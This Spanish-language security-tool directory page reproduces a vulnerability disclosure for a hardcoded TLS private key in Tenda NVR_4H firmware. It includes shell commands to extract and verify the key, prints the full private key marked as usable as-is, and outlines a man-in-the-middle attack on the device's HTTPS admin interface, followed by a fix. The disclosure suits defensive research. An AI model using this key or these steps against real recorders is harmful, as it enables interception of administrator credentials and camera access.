Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-79551-Tenda — Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 se descubrió que contiene una clave criptográfica codificada de forma fija. | Kitploit
Herramientas/GitHubGitHub/snyi001/cve-2026-79551-tenda
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesIngeniería InversaRecopilación de InformaciónCriptografíaSeguridad de Hardware e IoTPapers e InvestigaciónAnálisis de Firmware
GitHubsnyi001/cve-2026-79551-tenda

CVE-2026-79551-Tenda

Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 se descubrió que contiene una clave criptográfica codificada de forma fija.

hace 5h 38mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-79551 Clave privada TLS embebida en Tenda

ID de CNVD: CNVD-2026-25884

Fabricante: Tenda Technology Co., Ltd.

Producto: Grabador de video en red NVR_4H (versión de hardware CH3V2.1)

Firmware: V27.5.58.6

Clase: CWE-321 — Uso de clave criptográfica embebida

Descripción general

El firmware del NVR_4H almacena un par de claves ECDSA en su partición de solo lectura user-x.squashfs (montada en /opt/app/): la clave privada en /etc/privkey.pem y el certificado autofirmado correspondiente en /etc/cacert.pem. Ambos se generaron una sola vez en el momento de la compilación y se incorporaron a la imagen, por lo que todos los dispositivos que ejecutan la V27.5.58.6 se distribuyen con la misma clave privada.

La imagen del firmware es una descarga gratuita desde el sitio web de Tenda. Cualquiera que la descomprima posee una clave privada funcional para la interfaz HTTPS de todos los NVR_4H en esta versión. Un atacante en la misma red (LAN, Wi-Fi o un dispositivo expuesto a internet) puede colocar un proxy entre el navegador del administrador y el NVR mediante ARP spoofing o envenenamiento de DNS, presentar el certificado genuino de Tenda con la clave extraída, y el navegador no mostrará ninguna advertencia. La sesión completa es entonces legible y modificable en tiempo real: inicio de sesión del administrador, tokens de sesión, credenciales RTSP de las cámaras, configuración del dispositivo.

Archivos afectados

ArchivoDescripción
/etc/privkey.pemClave privada EC de 302 bytes (P-256)
/etc/cacert.pemCertificado autofirmado de 802 bytes, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn

Reproducción

El contenedor del firmware es un archivo ZIP en el desplazamiento 0xBBB:

root@kitploit:~
# 1. unpack the firmware
binwalk -e ted.bin

cd ted.bin.extracted/BBB

# 2. strip the 64-byte proprietary header
dd if=user-x.squash.img of=pure_system.squashfs bs=1 skip=64

# 3. unpack the filesystem
unsquashfs pure_system.squashfs

# 4. locate the key material
find squashfs-root -name "*.pem"
# squashfs-root/etc/cacert.pem
# squashfs-root/etc/privkey.pem

Para confirmar que la clave privada pertenece al certificado distribuido, exporte la clave pública de ambos y compárela:

root@kitploit:~
openssl ec -in squashfs-root/etc/privkey.pem -pubout > pub_from_priv.pem
openssl x509 -in squashfs-root/etc/cacert.pem -pubkey -noout > pub_from_cert.pem

diff pub_from_priv.pem pub_from_cert.pem
# no output

sha256sum pub_from_priv.pem pub_from_cert.pem
# 80b6aa4b9e8f4cd30e857ff5b9bfcf7e0227e268f4d397efdaffe37d4b0e9bcc  (both files)

La clave también funciona directamente desde la imagen:

root@kitploit:~
openssl s_server \
  -key  squashfs-root/etc/privkey.pem \
  -cert squashfs-root/etc/cacert.pem \
  -accept 4433 -www
# ACCEPT — TLS server starts with no errors

Una clave para todos los dispositivos

  • user-x.squashfs es un sistema de archivos comprimido de solo lectura, por lo que su contenido es idéntico byte a byte en todas las unidades distribuidas.

  • No existe aprovisionamiento por dispositivo en ninguna parte de la imagen: ni scripts de inicio, ni binario openssl, ni generación de claves en el primer arranque. Las únicas cadenas relacionadas con la generación de claves en todo el sistema de archivos provienen de hostapd y wpa_supplicant, que no tienen nada que ver con el servidor HTTPS.

  • /etc/ dentro del squashfs contiene solo cuatro archivos, dos de los cuales son este material de claves. Ambos llevan la marca de tiempo de compilación del squashfs en lugar de una de tiempo de ejecución.

Certificado y clave extraídos

El certificado es X.509 v1, autofirmado (emisor = sujeto = C=CN, ST=ZJ, L=HZ, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn), válido del 1999-12-31 al 2049-12-18, sin SAN ni extensiones de uso de clave. El número de serie 1c:f2:13:a0:7b:e2:7c:91:63:f3:e0:0c:be:0f:0d:42:2e:6b:e8:69 es fijo e idéntico en todos los dispositivos.

La clave privada extraída, utilizable tal cual:

root@kitploit:~
-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIHQLiI/KUzk/hXX4BZVuujlQMit341WWi3sTpLlGQVcaoAoGCCqGSM49
AwEHoUQDQgAEqFt550/3k/nGoYr4CFeRtvDf9HuZpHbb5FecKweJtFH7a5hBNFqq
qckxILVt8KefGENelZgPdEGNU6VcXyTORA==
-----END EC PRIVATE KEY-----

Impacto

La confidencialidad e integridad de toda la interfaz de gestión HTTPS se pierden para todos los dispositivos en esta versión de firmware, frente a cualquiera que haya descargado la imagen pública. No se necesitan privilegios ni interacción del usuario en el lado del objetivo: basta con un MITM pasivo. Las credenciales de administrador robadas otorgan control total del grabador y de sus cámaras.

Solución

Genere un par de claves único por dispositivo en el primer arranque y almacénelo en una partición de escritura (por ejemplo, el área JFFS2 bajo /opt/sav/), y elimine privkey.pem y cacert.pem de la imagen de solo lectura por completo. A más largo plazo, emita certificados por dispositivo firmados en el momento de la fabricación.

Descargar herramienta